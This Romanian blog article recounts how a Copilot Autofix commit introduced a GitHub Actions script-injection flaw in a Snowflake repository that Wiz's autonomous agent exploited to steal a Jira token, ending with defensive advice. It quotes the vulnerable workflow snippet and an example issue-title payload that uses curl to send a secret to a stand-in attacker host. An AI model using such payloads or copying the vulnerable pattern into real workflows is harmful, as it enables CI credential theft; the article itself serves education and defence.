GitHub Copilot Autofix a cauzat o breșă de securitate la Snowflake — cum un AI a introdus vulnerabilitatea pe care alt AI a exploatat-o
Un PR generat de GitHub Copilot Autofix a introdus o vulnerabilitate de workflow injection într-un repo Snowflake. Un agent AI autonom a exploatat-o în 5 zile. Iată ce s-a întâmplat și ce înveți din asta.
Table of Contents
Pe 18 iunie 2026, un pull request în repo-ul public de .NET al Snowflake a fost fuzionat. PR-ul era co-autorizat de GitHub Copilot Autofix — funcția AI care generează automat corecturi pentru alertele de securitate. Cinci zile mai târziu, pe 23 iunie, un agent autonom de securitate dezvoltat de Wiz Research numit „Red Agent” a găsit vulnerabilitatea introdusă de Copilot, a exploatat-o și a accesat Jira-ul intern al Snowflake. Totul fără intervenție umană.
Nu e ficțiune. E un incident real, raportat prin programul HackerOne al Snowflake, documentat public de Wiz Research pe 17 august 2026. Și ridică niște întrebări incomode despre cât de mult te poți baza pe AI când vine vorba de securitatea codului tău.
În articolul ăsta îți explic exact ce s-a întâmplat, cum a funcționat atacul, de ce Copilot Autofix a trecut peste vulnerabilitate și ce poți concret să faci ca să nu pățești la fel.
Ce vei gasi în acest articol:
- Ce s-a întâmplat exact: cronologia completă a incidentului Snowflake–Copilot
- Cum a funcționat atacul de workflow injection — explicat fără jargon tehnic
- De ce Copilot Autofix a introdus vulnerabilitatea în loc să o repare
- Ce lecții poți trage ca dezvoltator sau utilizator de AI pentru coding
- Un checklist concret de protecție pe care să-l aplici imediat
Disclaimer
Acest articol prezintă un incident de securitate real, documentat public de Wiz Research. Informațiile sunt prezentate exact cum apar în raportul original. Dacă ești afectat de incident sau lucrezi cu GitHub Actions, verifică întotdeauna sursele oficiale și consultă un specialist în securitate.
Ce s-a întâmplat — cronologia completă
Povestea începe cu un repo public de-al Snowflake: snowflakedb/snowflake-connector-net. E conectorul oficial .NET pentru platforma Snowflake. Repo-ul avea un workflow de GitHub Actions numit jira_issue.yml care automatiza crearea de tickete Jira atunci când cineva deschidea un issue pe GitHub.
18 iunie 2026 — PR #1218, intitulat „SNOW-2069227: Update jira workflows”, a fost fuzionat. PR-ul avea un istoric lung — lucrul la el începuse din august 2025. Undeva pe parcurs, un commit a fost co-scris de „Copilot Autofix powered by AI”, funcția GitHub Advanced Security care generează sugestii de corectare pentru alertele de cod.
Ce a făcut acel commit? A înlocuit un pattern sigur de procesare a inputului — care folosea variabile de mediu (env:) și jq --arg pentru a construi payload-ul JSON — cu o interpolare directă a stringului în scriptul shell:
# Înainte (sigur): treceau titlul prin variabila de mediu
env:
ISSUE_TITLE: ${{ github.event.issue.title }}
- run: jq -n --arg title "$ISSUE_TITLE" ...
# După Copilot Autofix (vulnerabil): interpolare directă
run: |
TITLE=$(echo '${{ github.event.issue.title }}' | sed 's/"/\\"/g' | sed "s/'/\\\'/g")23 iunie 2026 — Red Agent-ul Wiz, care scanează automat organizațiile GitHub, a detectat vulnerabilitatea, a construit un exploit funcțional, a accesat credențialele Jira din runner-ul GitHub Actions și a raportat totul către Snowflake prin HackerOne.
23 iunie 2026 (în aceeași zi) — Snowflake a remediat vulnerabilitatea (commit 1dc7766, PR #1402), revenind la pattern-ul sigur cu env: + jq --arg.
24 iunie 2026 — Token-ul Jira compromis a fost revocat și rotit.
Auditul intern al Snowflake a confirmat că nu au existat alte accesări în afară de cele ale Wiz în perioada de expunere de 5 zile.
Deci cronologia e clară: Copilot Autofix a introdus bug-ul pe 18 iunie, Red Agent-ul l-a găsit și exploatat pe 23 iunie. Cinci zile. Atat a durat ca o vulnerabilitate introdusă de un AI să fie găsită de alt AI.
Cum a funcționat atacul — explicat fără jargon
Ca să înțelegi ce s-a întâmplat, trebuie să știi trei lucruri:
1. Template injection în GitHub Actions
GitHub Actions are un sistem de template-uri. Când scrii ${{ github.event.issue.title }} într-un workflow, GitHub înlocuiește automat textul ăla cu titlul real al issue-ului. Problema e că înlocuirea se întâmplă înainte ca scriptul shell să fie executat.
Deci dacă cineva deschide un issue cu titlul:
'; curl "https://atacator.com?t=$SECRET" ; echo 'GitHub-ul pune textul ăsta direct în script. Scriptul devine:
TITLE=$(echo ''; curl "https://atacator.com?t=$SECRET" ; echo '' | sed ...)Ghilimelele sunt sparte. Comanda curl se execută. Secretul pleacă la serverul atacatorului.
2. sed nu e suficient
Copilot Autofix a adăugat operații sed pentru a scapa ghilimelele. Dar sed rulează după ce GitHub a făcut deja interpolarea. E prea târziu — codul injectat e deja în script. E ca și cum ai încuia ușa după ce hoțul a intrat în casă.
3. Poarta de securitate falsă
Workflow-ul avea o condiție if: care părea că verifică cine poate declanșa workflow-ul:
if: (github.event_name == 'issues' && github.event.pull_request.user.login != 'whitesource-for-github-com[bot]')Arată securizat, nu? Problema: pe evenimente de tip issues, câmpul github.event.pull_request este întotdeauna null. Deci comparația devine null != 'whitesource-for-github-com[bot]', care e mereu true. Fiecare utilizator de GitHub trecea de „poartă”.
De ce e relevant pentru tine
Dacă folosești GitHub Actions în proiectele tale, verifică întotdeauna condițiile if: din workflow-uri. O condiție care arată bine în cod poate fi inutilă în practică. Testează cu diferite tipuri de evenimente (push, pull_request, issues) ca să vezi ce se întâmplă cu adevărat.
Ce a făcut Red Agent-ul de la Wiz
Asta e partea cea mai impresionantă a incidentului. Red Agent-ul nu e un simplu scanner de vulnerabilități. E un agent autonom care găsește, exploatează și raportează singur problemele.
Agentul a scanat organizația Snowflake de pe GitHub, a identificat workflow-ul jira_issue.yml ca fiind vulnerabil la script injection, și a construit un exploit automat.
Prima încercare a eșuat. Agentul a folosit un caracter # (comentariu în bash) pentru a „înghiți” restul liniei injectate. Problema: comentariul a consumat și paranteza închisă ) a expresiei TITLE=$(...), ceea ce a generat o eroare de sintaxă bash.
În loc să se oprească, Red Agent-ul a analizat eroarea, și-a ajustat payload-ul și a folosit ; echo ' pentru a închide corect blocul de shell. A doua încercare a funcționat.
Payload-ul final, livrat ca titlu de issue, a extras variabilele de mediu JIRA_API_TOKEN, JIRA_USER_EMAIL și JIRA_BASE_URL din runner-ul GitHub Actions. Le-a codificat în base64 și le-a trimis către un server extern prin curl.
Din câteva secunde, listener-ul a primit callback-ul de la un runner GitHub Actions găzduit pe Azure (IP 20.106.182.197). Token-ul recuperat era autentificat ca qa@snowflake.net pe snowflakecomputing.atlassian.net cu acces de citire la proiectele de engineering, securitate și bug bounty ale Snowflake.
Cât de grav a fost
Un atacator real ar fi putut citi sute de tickete interne, ar fi putut crea tickete false cu cereri de recompensă, sau ar fi putut extrage informații sensibile din Jira. Singurul motiv pentru care nu s-a întâmplat asta e că Wiz a acționat responsabil și a raportat imediat.
De ce Copilot Autofix a introdus vulnerabilitatea
Asta e întrebarea la care trebuie să te gândești serios dacă folosești AI pentru coding.
Copilot Autofix e proiectat să genereze o singură sugestie de corectare pentru fiecare alertă de securitate. Documentația GitHub spune clar: sugestia trebuie revizuită și aplicată de un om. Problema nu e că AI-ul a greșit — greșelile sunt omenești, dar și artificiale. Problema e că sugestia a trecut prin procesul de review fără să fie oprită.
De ce a eșuat Copilot?
Nu avea context istoric. Pattern-ul sigur — variabila env: + jq --arg — fusese implementat special pentru a preveni exact genul ăsta de injectare. Copilot nu știa de ce exista pattern-ul ăla. Nu avea acces la istoricul deciziilor de securitate. A văzut codul care funcționa și l-a „optimizat” în ceva mai simplu, dar vulnerabil.
Modelele AI generează cod bazat pe probabilități. Copilot prezice următoarele caractere/tokens pe baza a ce a văzut în datele de antrenament. Interpolarea directă a stringurilor în shell e un pattern foarte comun — și foarte des nesigur — în codul de pe internet. Modelul a ales pattern-ul frecvent, nu pe cel sigur.
Verificarea umană a eșuat. Cineva a revizuit PR-ul, a văzut că Copilot a co-scris modificarea, și l-a aprobat. Poate că reviewer-ul avea încredere în sugestiile AI. Poate că nu a verificat detaliile de securitate. Poate că a fost grăbit. Motivul nu contează — rezultatul e același.
Dacă te gândești la productivitatea pe care o oferă AI-ul pentru coding, citește și studul Microsoft despre productivitatea AI în coding. Productivitatea vine cu costuri ascunse când nu pui procese de verificare adecvate.
Ce învățăm din acest incident
Incidentul ăsta nu e doar despre Snowflake sau Copilot. E despre un pattern mai larg care te afectează direct dacă scrii cod, folosești AI pentru dezvoltare, sau gestionezi echipe de developeri.
Lecția 1: AI-ul nu înțelege „de ce”. Copilot Autofix nu știa de ce pattern-ul env: + jq --arg fusese implementat. A văzut cod redundant din perspectiva lui și l-a simplificat. Lecția: nu lăsa AI-ul să modifice cod de securitate fără contextul complet. Dacă ai un pattern de securitate, documentează de ce există — într-un comment în cod, nu doar într-un commit message vechi.
Lecția 2: Fereastra de descoperire se comprimă. Vulnerabilitatea a fost live 5 zile. Un agent autonom a găsit-o și exploatat-o automat. Acum câțiva ani, vulnerabilitățile stăteau luni sau ani nedescoperite. Acum, atât atacul cât și apărarea pot fi automatizate. Trebuie să fii pregătit pentru viteza asta.
Lecția 3: Verificarea umană nu e opțională. GitHub Copilot Autofix generează sugestii — nu le aplică automat. Un om a trebuit să revizuiască și să aprobe PR-ul. Procesul ăsta de review a eșuat. Dacă folosești AI pentru coding, review-ul de securitate trebuie să fie cel puțin la fel de riguros ca pentru codul scris de oameni. Poate chiar mai riguros, pentru că AI-ul nu are intenție — doar pattern-uri.
Lecția 4: Credențialele pe termen lung sunt un risc. Token-ul Jira din runner-ul GitHub Actions era static. Dacă ar fi fost short-lived (cu expirare rapidă), expunerea de 5 zile ar fi fost mult mai puțin periculoasă. Wiz recomandă explicit să folosești credențiale cu durată de viață scurtă, proporțională cu viteza de descoperire automată.
Lecția 5: AI ofensiv vs. AI defensiv. Același tip de tehnologie — agent autonom AI — a fost folosit atât pentru a introduce vulnerabilitatea (Copilot Autofix), cât și pentru a o exploata (Red Agent). Nu e o coincidență. Pe măsură ce AI-ul devine mai capabil, va fi folosit de ambele părți. Apărarea ta trebuie să țină pasul.
Dacă vrei să vezi cum alte vulnerabilități AI afectează developerii, vezi și articolul despre vulnerabilitatea 0-day din Cursor editor — un alt caz în care instrumentele AI de coding au creat riscuri de securitate.
Cum te protejezi ca dezvoltator
Dacă folosești GitHub Actions, Copilot, sau orice alt instrument AI pentru coding, iată ce poți concret să faci:
- Nu folosi interpolare directă a variabilelor în
run:blocks. Întotdeauna trece inputul prinenv:și foloseștejq --argsau alte parsere structurate pentru a construi payload-urile. Nu te baza pesedpentru sanitizare — e prea târziu în pipeline. - Verifică condițiile
if:din workflow-uri. Testează cu diferite tipuri de evenimente. O condiție care pare restrictivă poate fi mereutrueîn anumite contexte. - Nu aproba automat sugestiile AI de securitate. Copilot Autofix, GitHub Advanced Security, sau alte instrumente similare generează sugestii — nu garantează că sunt sigure. Revizuiește fiecare modificare ca și cum ar fi scrisă de un intern la prima zi de muncă.
- Folosește credențiale short-lived. Token-urile Jira, API keys, sau alte secrete din CI/CD trebuie să aibă durată de viață scurtă. Dacă un token e expus, fereastra de exploatare trebuie să fie cât mai mică.
- Adaugă SAST (Static Application Security Testing) în pipeline. Tools precum Semgrep, CodeQL, sau Trivy pot detecta automat pattern-uri de script injection în workflow-urile GitHub Actions. Rulează-le pe fiecare PR, nu doar pe cel principal.
- Documentează de ce există pattern-urile de securitate. Nu te baza pe commit messages sau pe memoria echipei. Adaugă comments în cod care explică de ce un anumit pattern a fost ales. AI-ul nu citește istoria git-ului.
- Limitează permisiunile workflow-urilor. Folosește
permissions:în YAML pentru a restricționa ce poate face un workflow. Nu acordawritepermissions decât dacă e absolut necesar. - Monitorizează activitatea pe GitHub Actions. Verifică logurile de audit regulat. Uită-te la IP-urile de pe care se fac request-urile, la timing-ul execuțiilor și la orice activitate neașteptată.
Dacă ești echipă mai mare
Dacă lucrezi într-o echipă, stabilește un proces de review separat pentru modificările la workflow-urile de CI/CD. Aceleași reguli de code review ar trebui să se aplice — sau chiar reguli mai stricte — ca pentru codul de producție. Un workflow GitHub Actions are acces la secrete, la infrastructură și la pipeline-ul complet de deploy.
Ce alte riscuri mai există
Incidentul Snowflake nu e izolat. E parte dintr-un trend mai larg. Iată câteva lucruri la care să fii atent:
Supply chain attacks pe GitHub. Am mai scris despre cele 10.000 de repo-uri GitHub cu malware Trojan — un alt mod în care platforma poate fi folosită împotriva ta. Securitatea pe GitHub nu se termină la firewall-ul companiei.
Vulnerabilități în instrumentele AI. Cursor, unul dintre cele mai populare editoare AI de coding, a avut propria vulnerabilitate. Detalii în articolul despre vulnerabilitatea 0-day din Cursor. Dacă folosești AI pentru coding, ești expus la riscuri pe care nu le-ai avut acum 2-3 ani.
Protecția datelor tale. Când folosești instrumente AI, datele tale — cod, configurații, secrete — ajung pe servere terțe. Gândește-te la ce informații pui în prompturi și în ce context. Un manager de parole bun te ajută să nu ai secrete hardcodate în cod sau în variabile de mediu ușor accesibile.
Întrebări frecvente (FAQ)
Ce este exact Copilot Autofix?
Copilot Autofix este funcția de securitate a GitHub Copilot care generează automat sugestii de corectare pentru alertele de cod găsite de GitHub Advanced Security (CodeQL). Când CodeQL detectează o vulnerabilitate în codul tău, Copilot Autofix sugerează o modificare care ar trebui să o repare. Sugestia e generată de AI și trebuie revizuită de un om înainte să fie aplicată. În cazul Snowflake, sugestia a fost aplicată — și a introdus o nouă vulnerabilitate în loc să repare una existentă.
GitHub Copilot Autofix a fost de vină sau cel care a aprobat PR-ul?
Amândoi. Copilot Autofix a generat o sugestie proastă — a înlocuit un pattern sigur cu unul vulnerabil. Dar GitHub spune explicit în documentație că sugestiile trebuie revizuite și aplicate de un om. Un reviewer a aprobat PR-ul fără să observe problema. Responsabilitatea e partajată: AI-ul a greșit sugestia, omul a greșit verificarea.
Datele mele sunt în pericol dacă folosesc Snowflake?
Nu în acest caz. Snowflake a confirmat prin auditul intern că nicio terță parte nu a accesat endpoint-ul expus în perioada de 5 zile (18-23 iunie 2026). Singurele accesări au fost cele ale Wiz Research, care a acționat în cadrul programului de bug bounty HackerOne. Token-ul compromis a fost revocat pe 24 iunie. Dacă folosești Snowflake, datele tale nu au fost afectate de acest incident.
Cum pot verifica dacă workflow-urile mele GitHub Actions sunt vulnerabile?
Rulează CodeQL sau Semgrep pe repo-urile tale — aceleași tools care detectează script injection în alte limbaje funcționează și pentru YAML. Caută pattern-ul ${{ }} în blocurile run: — orice interpolare directă a inputului în shell e potențial periculoasă. Verifică condițiile if: din workflow-uri cu diferite tipuri de evenimente. Și cel mai important: nu te baza doar pe scanarea automată. Citește manual workflow-urile care au acces la secrete.
Ce e Red Agent-ul de la Wiz?
Red Agent-ul e un instrument autonom de cercetare în securitate dezvoltat de Wiz Research. Scanează automat organizațiile de pe GitHub, identifică vulnerabilități în workflow-urile CI/CD, construiește exploit-uri funcționale și raportează descoperirile. În cazul Snowflake, agentul a funcționat complet autonom — a găsit vulnerabilitatea, a analizat eroarea de sintaxă din prima încercare de exploit, și-a ajustat payload-ul și a reușit din a doua încercare, totul fără intervenție umană.
Ce ar trebui să fac dacă folosesc Copilot Autofix în proiectele mele?
Nu trebuie să-l dezactivezi, dar trebuie să-l tratezi ca pe un instrument de sugestie, nu de decizie. Revizuiește fiecare sugestie — mai ales cele care modifică cod de securitate, input handling, sau workflow-uri CI/CD. Rulează SAST tools (Semgrep, CodeQL) după aplicarea sugestiilor. Nu te baza pe faptul că sugestia vine de la „GitHub” — vine de la un model AI care nu înțelege contextul securității tale.
Incidentul Snowflake–Copilot Autofix e un semnal de alarmă pentru toată industria. AI-ul pentru coding e puternic și util — dar nu e infailibil. Un AI a introdus o vulnerabilitate, alt AI a exploatat-o, iar singurul lucru care a lipsit a fost verificarea umană adecvată.
Dacă folosești AI pentru coding — și probabil că o faci — nu te baza orbește pe sugestii. Verifică, testează, documentează. Securitatea nu se automatizează complet. Încă.
